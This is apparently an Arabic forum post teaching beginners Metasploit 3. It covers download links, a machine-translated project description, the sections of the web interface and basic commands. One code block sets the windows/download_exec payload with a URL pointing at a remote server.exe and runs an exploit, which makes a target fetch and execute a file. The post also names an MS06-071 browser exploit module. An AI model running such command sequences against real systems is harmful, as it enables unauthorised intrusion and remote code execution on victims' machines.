شؤح برنامج metasploit

اولا البرنامج رفع بفضل اخى mastoool


للوندز http://www.metasploit.com/releases/framework-3.3.3.exe

للينكس http://www.metasploit.com/releases/f...linux-i686.run



الإطار Matasploit

ما هو ؟
الإطار Métasploit هو منبر التنمية لخلق أدوات الأمن ومآثر. الإطار المستخدمة من قبل المتخصصين في مجال أمن الشبكات لإجراء اختبارات الاختراق ، ومسؤولي النظام للتحقق من المنشآت التصحيح ، والباعة المنتج لأداء اختبار الانحدار ، والأمن الباحثين في جميع أنحاء العالم. الإطار هو مكتوب في لغة البرمجة روبي ويتضمن مكونات جيم وكتبت في المجمع.
ماذا يفعل ؟
ويتكون الإطار من الأدوات ، والمكتبات ، ونماذج ، واجهات المستخدم. الوظيفة الأساسية لهذا الإطار هو منصة اطلاق وحدة ، مما يتيح للمستخدم لتكوين وحدة واستغلال إطلاقه في النظام الهدف. إذا كان استغلال نجاح ، الحمولة يتم تنفيذه على الهدف ويتم توفيرها للمستخدم مع شركة شل للتفاعل مع الحمولة

المساهمين

Métasploit Contribute

www.métasploit.com/contribute

نوعية الفاحصات
مع أكثر من 260 مآثر ، 100 الحمولات ، والترميز والعديد من وحدات نوب ، اختبار كل مجموعة من الخيارات والميزات هي مهمة ضخمة. إذا كان لديك الوصول إلى شبكة الاختبار مع مجموعة متنوعة من الآلات ، يمكننا استخدام مساعدتكم وضع الإطار عن طريق تسير. يرجى الاتصال بنا على msfdev [في] Métasploit.com اذا كنت مهتما.
التقنية الكتاب
هل يتمتع كتابة الوثائق التقنية؟ هل لديك خبرة في استخدام الإطار Métasploit أم أنك تبحث عن سبب وجيه لقضاء بعض الوقت في القيام بذلك؟ ونحن نتطلع للمتطوعين للمساعدة في محتوى الموقع ، ودروس والوثائق المتعلقة بالمستعمل النهائي. يرجى الاتصال بنا على msfdev [في] Métasploit.com اذا كنت مهتما.
رسم الفنانون
يمكننا استخدام بعض الرسومات للمساعدة في إنشاء موقع على شبكة الإنترنت ، واجهات المستخدم ، وshwag. إذا كان لديك الأعرج جنون أو فوتوشوب المهارات وتود أن ترى عملك يستخدمها رفيع وضوح المشروع ، يرجى الاتصال بنا على msfdev [في] Métasploit.com.
وحدة نمطية للمطورين
وحدات هي اللحوم والبطاطس من الإطار Métasploit. إذا كان لديك تجربة كتابة مآثر والحمولات ، والذاتي فك بذرة المجمع ، أو الأدوات التي تعتمد على شبكة أمنية ، يمكننا استخدام مساعدتكم. المعرفة روبي هو مطلوب ، ولكن أي شخص لديه خبرة في بيرل أو بايثون يمكن التقاط أساسيات في بضعة أيام. إذا كنت مهتما ، يرجى الاتصال بنا على msfdev [في] Métasploit.com.
الأساسية للمطورين
روبي النينجا فقط. الإطار Métasploit هي واحدة من أكبر المشاريع روبي نحن ندرك وتتوسع بشكل دائم. يمكننا استخدام مساعدتكم بناء خارجا من الميزات الجديدة وإصلاح الخلل ، وتحقيق الاستفادة المثلى من القانون الحالي قاعدة. إذا كنت على مستوى التحدي من 90،000 رمز خط الغوص ويرغبون في الانضمام إلى الفريق ، يرجى الاتصال بنا على msfdev [في] Métasploit.com.
المال والأجهزة
Métasploit هو عدم قبول أي تبرعات نقدية أو الأجهزة في هذا الوقت.


الحين ناتي لشرح البرنامج واتصالاته بالشبكه المحليه
local

اول شيئ حمل الميتا سبلويت و ثبتها بجهازكـ ..
تمـــآم ,,

ندخل على M3tasploit 3 WéBننتظر دقيقتين او دقيقه و يفتح لنآ رابط لشبكتنا المحليه حق الميتآ
http://127.0.0.1:55555

نبدئ في شرح ..
القسم Exploitsهدا يجمع جميع التغرات الموجوده بالانظمه وجميه التغرات الموجوده بالميلوورم و بكل مواقع السيكيوريتي ..

القسم auxiliariesعباره عن قسم للمساعدات ان تحتاج كيفيه تشغيل تغره او كدآ من هادا القبيل

القسم Payloadsيعطيك خيارات بالثغره ويقول لكـ كيف تريد ان تتصل بالثغره وماذا تريد ان تعمل بها .. عاد هو يعطيك خيارات كثار ..

القسم Consoleمن هادا لقسم يمكن تطبيق تغرهـ او استغلالها ..
ودلك يكون عن طريق الاوآمر

كود:
0.Métasploit in Exploit windows and vista !
Dr.PRO

================================================


1.exploits
seraching ...
target xxxxxx
exploit xxxxxx

================================================


2.console
use exploit ... xxxxxx
show payloads
set payload windows/download_exec
show options
set url www.site.com/server.exe
exploit

================================================

3.Download Exploit ..
Or Execute Link ..

================================================

4.Exit ./
Priva8 Dr.PRO
Sessionsومعناها الدورات

Optionsهدا القسم يمكنك اختيار ستايل الميتاسبلويت ..
وموجوده 4 ستايلات

Aboutهدا قسم الحقوق او حول البرنامج



مفاهيم للاوامـر ~

cmd = تنفيذ امر
show = أعرض
set = أختار
use = استخدم
unset = تراجع

طريقه تحديت التغرات و البرنامج
يكون عن طريق الخيار Online-Update
من جهـآزكـ ..

windows = النظام المستخدم في الثغرة
browser = حيث ان الثغرة متعلقة بالمتصفح ms06_071_xml_core = حيث انها تغره مصاب بها الملف xml

شرح الـ payload

كود:
windows/download_execيعني
النظام المصاب windows
والكلمتين download_exe
يعني تنزيل و تشغيل

اخيرا انصح بهادا الموقـع
www.securinfos.info/docs.html

ولله تحفه و يحتوي على كتب رائعه للميتآ
وانصحكم التعمق بمجال الميتا لانه رائع جدآ
وانشاء الله المزيد من المواضيع الحصريه

_________________